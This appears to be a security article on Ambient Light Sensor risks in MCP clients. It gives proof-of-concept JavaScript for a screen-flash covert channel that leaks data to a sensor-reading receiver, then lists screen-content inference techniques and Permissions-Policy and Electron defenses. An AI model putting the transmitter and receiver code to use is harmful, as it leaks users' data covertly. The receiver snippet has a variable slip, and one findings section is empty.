MCP server Ambient Light Sensor security — screen content inference, binary lux covert channel, and timing attacks

What the Ambient Light Sensor API provides

The Ambient Light Sensor is part of the W3C Generic Sensor API specification. It reads the device's ambient light sensor (typically a photodetector on the front panel of laptops and tablets) and returns illuminance values in lux:

// Ambient Light Sensor — part of the Generic Sensor API
const sensor = new AmbientLightSensor({ frequency: 10 }); // 10 readings/second

sensor.addEventListener('reading', () => {
  console.log(`Current lux: ${sensor.illuminance}`);
  // Typical ranges:
  // Dark room: 0–50 lux
  // Indoor office: 200–500 lux
  // Bright screen in dark room: adds 10–50 lux to ambient
  // Alternating white/black screen in dark room: creates ~20-40 lux delta
});

sensor.addEventListener('error', (e) => {
  console.log('Sensor error:', e.error.name);
});

sensor.start();

The binary covert channel: screen-to-sensor exfiltration

The fundamental attack relies on a physical property: a display screen emits light, some of which reflects off nearby surfaces back to the ambient light sensor. In a dark or dimly-lit room (common office/home environments during evening MCP sessions), the delta between a white full-screen background (high lux) and a black full-screen background (low lux) is measurable.

By encoding data as a sequence of white (bit=1) and black (bit=0) full-screen flashes, a tab can transmit data through the sensor to a receiver that reads the sensor values:

// Transmitter tab (MCP tool output controls this)
// Encodes stolen data as binary screen flash sequence
// Requires: dark enough room, sensor within ~50cm of screen

async function transmitViaSensor(data) {
  const bits = stringToBits(JSON.stringify(data)); // Convert to bit array
  const SYMBOL_MS = 100; // Each bit = 100ms (10 bits/second max reliable rate)

  const overlay = document.createElement('div');
  overlay.style.cssText = `
    position: fixed; top: 0; left: 0;
    width: 100vw; height: 100vh;
    z-index: 999999; transition: none;
  `;
  document.body.appendChild(overlay);

  for (const bit of bits) {
    overlay.style.backgroundColor = bit ? '#ffffff' : '#000000';
    await new Promise(resolve => setTimeout(resolve, SYMBOL_MS));
  }

  overlay.remove();
}

// Receiver (second tab at same origin, or system process reading /dev/iio)
// Reads sensor values and decodes binary sequence
const recvSensor = new AmbientLightSensor({ frequency: 20 }); // oversample
const readings = [];
const THRESHOLD = 15; // lux delta that distinguishes 1 from 0

recvSensor.addEventListener('reading', () => {
  readings.push(sensor.illuminance);
  if (readings.length > 2) {
    const delta = readings[readings.length-1] - readings[readings.length-2];
    const bit = delta > THRESHOLD ? 1 : 0;
    decodeBit(bit);
  }
});

Screen content inference without explicit encoding

Beyond the binary channel attack, ambient light sensors can infer general screen content without active encoding. A JavaScript process that monitors sensor readings over time can detect:

• Screen-on vs screen-off transitions: Illuminance drops sharply when the screen turns off. This reveals user activity patterns.
• Dark mode vs light mode: Mean lux level in consistent ambient lighting differs between dark and light UI themes.
• Video playback detection: Rapid lux variation patterns match video frame brightness changes, revealing media consumption.
• High-contrast content detection: A page with mostly white content (documents, code review) vs mostly dark content (terminal, dark IDE) produces consistently different baseline lux shifts.

Deployment-specific risk: WebView-based MCP clients

Web browser Chrome restricts the Ambient Light Sensor via Permissions-Policy: ambient-light-sensor=() on cross-origin iframes by default since Chrome 88. However, many MCP clients are deployed as Electron apps, Android WebViews, or Capacitor/Cordova-wrapped PWAs. In these environments:

• The WebView may not enforce the same Permissions-Policy defaults as a full browser
• WebView apps may grant sensor permissions at the OS level and forward them to the WebView context
• Electron apps have full Node.js access to system sensors — the WebView restriction is irrelevant

SkillAudit findings for Ambient Light Sensor exposure

Defenses

Permissions-Policy: ambient-light-sensor=() — add to all MCP client response headers. This disables the Ambient Light Sensor API for the page and all iframes, preventing both the transmitter and receiver roles:

Permissions-Policy: ambient-light-sensor=()

For Electron/WebView MCP clients: set the WebPreferences nodeIntegration: false and explicitly set sensor permissions to deny in the session setPermissionCheckHandler:

// Electron main process
session.defaultSession.setPermissionCheckHandler(
  (webContents, permission) => {
    // Deny all sensor permissions to WebView content
    const BLOCKED = ['sensors', 'ambient-light-sensor', 'accelerometer',
                     'gyroscope', 'magnetometer'];
    return !BLOCKED.includes(permission);
  }
);

Cross-origin tool output sandbox: cross-origin iframes do not inherit the parent's sensor access. Sandbox the tool output rendering context.